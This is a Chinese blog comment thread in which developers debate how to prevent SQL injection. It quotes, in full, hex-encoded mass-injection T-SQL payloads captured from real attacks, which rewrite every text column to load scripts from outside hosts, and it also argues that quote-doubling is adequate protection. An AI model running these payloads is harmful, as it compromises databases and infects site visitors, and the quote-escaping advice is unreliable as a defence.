呵，黄老师，好久不见，支持一下！

high hand .靠。 这翻译的

这水印，真帅。

@pccai 谢谢捧场哟

不错。

这招不错，谢谢了

貌似不能，只能忽略文件夹才可以不提交

cool

Good!!!!

无聊透·代码别偷懒就可以了 cmd.Parameters.Add("@UserId", SqlDbType.Int).Value = model.Id; 这样能攻进去？ 现在都有代码生成器了，未什么这样的代码还没人用，而喜欢用拼接？

的确不错。。

[quote]玩吧华华：可是里边的dll文件了？忽略后一提交就没有了[/quote] 你是指引用的外部程序集还是工程本身编译出来的程序集呢？ 如果是前者，一般做项目不会把它们直接COPY到项目的输出目录的，在解决方案目录下建个Library子目录来放，然后在项目中引用这个路径。 如果是后者，这更不要说，要的就是这效果，呵呵。

可是里边的dll文件了？忽略后一提交就没有了

[quote]玩吧华华：请问一下，忽略了以后，各个项目之间的引用 关系怎么处理，有没有好的办法，现在是一忽略其它的人更新下来的时候本身就没有这部分内容。[/quote] 忽略bin和obj目录不会对项目的引用关系有影响啊。

请问一下，忽略了以后，各个项目之间的引用 关系怎么处理，有没有好的办法，现在是一忽略其它的人更新下来的时候本身就没有这部分内容。

kkkk

@virus 是的，就像SQL的distinct关键字那样

你说的重复是字段的值完全相同吗

现在办公室吼一声“开会”，响应者廖廖，只剩我和沈晰了(而我正在戒/借烟中)，怀念腾云驾雾的时光。。。。。。进步！！！

[b]期待下文[/b]

谢谢捧场

@来踢馆子的

攻击IP信息 [查询结果] 您的查询: [ip地址] 61.141.32.5 => 61.141.32.5 ·本站主数据: 广东省 汕头市 电信 ·本站辅数据: 广东省汕头市电信IDC机房 [提供:kongidc] ·参考数据一: 广东省汕头市 电信 ·参考数据二: 广东省汕头市 电信 攻击内容 跟122楼一样

攻击IP信息 [查询结果] 您的查询: [ip地址] 119.147.23.205 => 119.147.23.205 ·本站主数据: 广东省 深圳市(电信机房) 电信 ·本站辅数据: 还没人提交数据 ·参考数据一: 广东省 电信 ·参考数据二: 广东省珠海市 电信 [查询提供] www.123cha.com 攻击内容 跟122楼一样

攻击IP信息 [查询结果] 您的查询: [ip地址] 59.39.66.68 => 59.39.66.68 ·本站主数据: 广东省 佛山市 电信 ·本站辅数据: 还没人提交数据 ·参考数据一: 广东省佛山市 电信ADSL ·参考数据二: 广东省佛山市 电信 [查询提供] www.123cha.com 攻击内容 跟122楼一样

攻击IP信息 [查询结果] 您的查询: [ip地址] 59.60.152.126 => 59.60.152.126 ·本站主数据: 福建省 漳州市(电信机房) 电信 ·本站辅数据: 福建省漳州市电信机房 [提供:IDC] ·参考数据一: 福建省漳州市 电信 ·参考数据二: 福建省漳州市 电信 攻击脚本 dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f323532612e636e2f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 print @s dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(vArChAr,['+@c+']))+''</title><script src=http://252a.cn/1.js></script>''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR

@Jeffrey Zhao 老赵说的没错，我没有说清楚。 我的项目全采用存储过程，如果拼接SQL语句，就用SP_EXECUTESQL，这样就可以防止被注入了。

谢谢各位兄弟的踊跃捧场，呵呵

[quote]李宏：参数化解决一切注入 没意义的贴[/quote] 参数化是加强安全的手段，确实如果人人处处都能做到参数化，此贴可以说没意义。 但参数化只是其中一方面，Scott Guthrie 就提到了5点来防范： 1) 在构造动态SQL语句时，一定要使用类安全(type-safe)的参数加码机制。（也就是参数化） 2) 在部署你的应用前，始终要做安全审评(security review)。 3) 千万别把敏感性数据在数据库里以明文存放。 4) 确认你编写了自动化的单元测试，来特别校验你的数据访问层和应用程序不受SQL注入攻击。 5) 锁定你的数据库的安全，只给访问数据库的web应用功能所需的最低的权限。

以前也遇到个，相关解决方案：http://hi.baidu.com/eqing/blog/item/d99887944bb9a219d31b704e.html

参数化解决一切注入 没意义的贴

你到底想表达什么？

@李翔37100 这个不是。net和java的问题 是教大家一种在拼sql过程中防止sql注入的方法，不管是什么语言都适用，不管是文本类型还是数字类型都适用的方法。

@李翔37100 呵呵 你的意思是全自动？？？？ 如果你要实现全自动防止sql注入， 而且不用对已有代码进行修改的话， 当我没说。有现成的第三方组件可以用。 btw： 拼sql本省就是体力活，多加一条Replace（"'","''"）算麻烦？

[quote]codemonkey： @李翔37100 数字的话 更好判断了 1 你可以在拼sql前判断用户输入的内容是否可以转换数字。显然0 declare @d varchar(8000) set @d=0x73656c656374202a2066726f6d206f7264657273 exec(@d)无法成功转换成数字 2 你也可以不管数字还是文本， 都加上单引号 下面两个sql等价： select * from table1 where id=1 select * from table1 where id='1' [/quote] 我觉得你这样说就没意思，感觉你也挺辛苦的，你这样不是没事找事吗？如果你不嫌麻烦的话，手动档当然能代替自动档的。.net中放着现成的对象不用，微软定义了这个对象一定是有原因的，如果在Java中则另当别论了，听说java中setString()方法不能避免注入，必须自己代码实现，具体我没有测试过。

@李翔37100 数字的话 更好判断了 1 你可以在拼sql前判断用户输入的内容是否可以转换数字。显然0 declare @d varchar(8000) set @d=0x73656c656374202a2066726f6d206f7264657273 exec(@d)无法成功转换成数字 2 你也可以不管数字还是文本， 都加上单引号 下面两个sql等价： select * from table1 where id=1 select * from table1 where id='1'

“疯子阿飞”还在这冒充什么高手，去你该去的地方---精神病院。 真是人如其名，就是个疯子，鉴定完毕。

[quote]疯子阿飞： 2007年的时候有个“SQL注入天书”问世，教坏了N多小孩子，也害惨了N多程序小鸟。那时“天书”的作者自己提供的终极防范方案就是 replace("'","''")。 时至今日，居然还有人在讨论这个问题…… 这是篇菜鸟贴，鉴定完毕。[/quote] 发贴的初衷不在于高攀什么“高手贴”只是想加大宣传力度提高安全警惕，尽量杜绝同类恶意攻击的手段，还有交流一下安全防范的手段。 虽然你说的2007已经有出了什么天书，但时至今日还不是有很多人中招吗，这是事实啊，呵呵。 我觉得把精力还是放在交流技术上吧，还有什么好招可以使出来嘛，让大家好好学习，呵呵。

[quote]李翔37100： [quote]codemonkey： @李翔37100 你理解有问题 我干嘛要替换你编码后的单引号？ 我说的用单引号括起来 不是用编码后的单引号括起来 ' [/quote] 首先如果你的sql是通过拼接的，那么很可能你是按照数值型查询的，例如查询某个人的年龄，这时候注入不知道你是怎么预防的？？？[/quote] 在Northwind数据库中测试： select * from Orders where EmployeeID= 0 declare @d varchar(8000) set @d=0x73656c656374202a2066726f6d206f7264657273 exec(@d) 你是怎么预防这种注册的？？？

[quote]codemonkey： @李翔37100 你理解有问题 我干嘛要替换你编码后的单引号？ 我说的用单引号括起来 不是用编码后的单引号括起来 ' [/quote] 首先如果你的sql是通过拼接的，那么很可能你是按照数值型查询的，例如查询某个人的年龄，这时候注入不知道你是怎么预防的？？？

为了让大家更了解一下原理 我贴代码吧 楼主后台被注入的脚本内容如下： select * from table1 where id=1;(declare @d varchar(8000) set @d=0x27eeadf...) 我们用单引号替换法修改后最终执行的sql如下： select * from table1 where id=‘1;(declare @d varchar(8000) set @d=0x27eeadf...；)’ 可以看到1;(declare @d varchar(8000) set@d=0x27eeadf...；) 被当做字符串处理，而不会被解析 当然这个过程中没有替换单引号。 如果declare 后面有单引号的话 还要把单引号替换成两个单引号(不替换的话会有被截断、注入的可能)，比如： select * from table1 where id=1;(declare @d varchar(8000) set @d=‘eee’) 我们用单引号替换法修改后最终执行的sql如下： select * from table1 where id=‘1;(declare @d varchar(8000) set @d=''eee'')'

@李翔37100 你理解有问题 我干嘛要替换你编码后的单引号？ 我说的用单引号括起来 不是用编码后的单引号括起来 '

在给你一个示范： select 'xxx'--假设这是你准备要执行的sql --以下是注入的，你再执行以下看看会有什么结果 declare @d varchar(8000) set @d=0x27select * from orders 几位高手，这时候你打算过滤什么字符串呢？？？

[quote]codemonkey： 晕 怎么回复的层次变的乱七八糟。。。。 简单的说其实楼主提到的sql注入法就是 16进制注入法。 如果把16进制编码后字符串 用单引号括起来，那么编码将自动失效，注入也就失败了。[/quote] 不知道你们是怎么试的，把下面的代码复制到你的查询分析器中执行一下，只是显示解码后的sql语句，看看第一个是不是单引号，请问你怎么把这单引号替换掉？？ declare @d varchar(8000) set @d=0x274465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 print @d

@黄耀辉 字段是整形的，值还用单引吗？ 当然可以啦 下面两个sql等价： select * from table1 where id=1 select * from table1 where id='1'

@Jeffrey Zhao 请问like怎么用参数?

[quote]陌生人： 其一，跟常规注入手段一样，前面加上;(分号，用于结束前一条语句)，后边加上--(用于注释后边的语句) 为什么前面不加单引号？加了不就可以解决问题了 很奇怪楼主的代码，为什么加了一个分号 就可以截断前一条语句。。。。。。 [/quote] 有什么奇怪呢？这个跟字段类型有关系，有些要加';也有不加'的情况喽，不是吗？比如说你的sql中字段不是字符而是整形的，结束值就不用单引了，而是改成0; 为什么一定要鸡蛋里面挑骨头呢？我也没说截断前一条语句喽兄弟。 有种去Scott Guthrie 中文博客去发表一下你的言论，正好有篇《技巧和诀窍：防范SQL注入攻击》里面写的跟我一样的话，呵呵 http://blog.joycode.com/scottgu/archive/2006/10/02/84561.joy

2007年的时候有个“SQL注入天书”问世，教坏了N多小孩子，也害惨了N多程序小鸟。那时“天书”的作者自己提供的终极防范方案就是 replace("'","''")。 时至今日，居然还有人在讨论这个问题…… 这是篇菜鸟贴，鉴定完毕。

晕 怎么回复的层次变的乱七八糟。。。。 简单的说其实楼主提到的sql注入法就是 16进制注入法。 如果把16进制编码后字符串 用单引号括起来，那么编码将自动失效，注入也就失败了。

@疯子阿飞 @李翔37100 单引号的hex为0x27， select cast(0x27 as char(1)) 一下sql执行正常，0x27并没有被解码，而被当做字符串来处理。 select * from table1 where title ='keyStr0x27' 实践证明：两个单引号之间的字符串即使对特殊字符进行编码也没用，还是被当做文本来处理。 所以单引号替换法 应该是可以防止目前遇到的大部分sql注入的（不敢说全部）